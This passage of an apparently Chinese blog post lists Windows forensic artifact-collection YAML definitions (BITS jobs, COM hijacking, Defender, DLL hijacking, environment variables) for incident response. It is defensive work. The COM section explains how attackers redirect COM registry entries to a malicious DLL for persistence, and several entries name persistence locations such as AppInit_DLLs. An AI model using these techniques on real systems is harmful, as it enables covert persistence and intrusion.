1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">BitsJob.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsBitsJob</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">  BITS Job（Background Intelligent Transfer Service 任务）是微软 Windows</span><span leaf=""><br/></span><span leaf="">  系统中的一个后台智能传输服务任务单位。</span><span leaf=""><br/></span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">bitsadmin</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">/list</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">/allusers</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">/verbose</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">powershell</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;Get-BitsTransfer -AllUsers&#34;&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上的 BITS Job 相关信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">COM.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsCOMHijacking&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_CLASSES_ROOT\CLSID\*\InprocServer32&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\*\InprocServer32&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Classes\CLSID\*\InprocServer32&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;COM（Component Object Model）是微软提出的一种软件组件对象模型，用于 Windows 各种程序和系统组件之间的通信和功能复用。\n程序通过CLSID/ProgID 等方式调用系统或第三方注册的 COM 组件。\n\nWindows 程序调用 COM 组件时，会从注册表查找对应 CLSID/ProgID 的实现 DLL 路径并加载。\n攻击者通过修改注册表，把某个常用或系统自动调用的 COM 组件的路径指向自己的恶意 DLL。\n这样，当系统或软件调用该 COM 组件时，就会自动加载攻击者的恶意代码，实现代码注入、权限维持、持久化等。&#34;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://paper.seebug.org/2030/" target="_blank">https://paper.seebug.org/2030/</a>&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上 COM劫持相关的注册表内容 。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Defender.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsDefender</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Defender</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">检测到的信息收集。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">FILE</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          %%environ_systemroot%%\System32\Winevt\Logs\Microsoft-Windows-Windows</span><span leaf=""><br/></span><span leaf="">          Defender*.evtx</span><span leaf=""><br/></span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">powershell</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;Get-MpThreatDetection | Format-List&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">powershell</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;Get-MpThreat&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">powershell</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;Get-MpPreference | Format-List&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">PATH</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_programdata%%\Microsoft\Windows Defender\Quarantine\&#39;</span><span leaf=""><br/></span><span leaf="">  - type: REGISTRY_KEY</span><span leaf=""><br/></span><span leaf="">    supported_os: Windows</span><span leaf=""><br/></span><span leaf="">    attributes:</span><span leaf=""><br/></span><span leaf="">      keys:</span><span leaf=""><br/></span><span leaf="">        - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender</span><span leaf=""><br/></span><span leaf="">        - HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender</span><span leaf=""><br/></span><span leaf="">        - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend</span><span leaf=""><br/></span></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上自带的 Defender 相关内容，例如检测到恶意行为、隔离区等。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">DLL.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsDLLCheck&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_VALUE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SafeDllSearchMode&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_VALUE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key_value_pairs:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">key:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">          </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">value:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;AppInit_DLLs&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows DLL 劫持、注入等相关信息收集。&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上 DLL 劫持、注入相关信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Env.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsEnv</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">中环境变量信息。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">set</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[]</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">powershell</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;ls env: | Format-Table -Wrap&#34;&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上环境变量信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Firewall.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 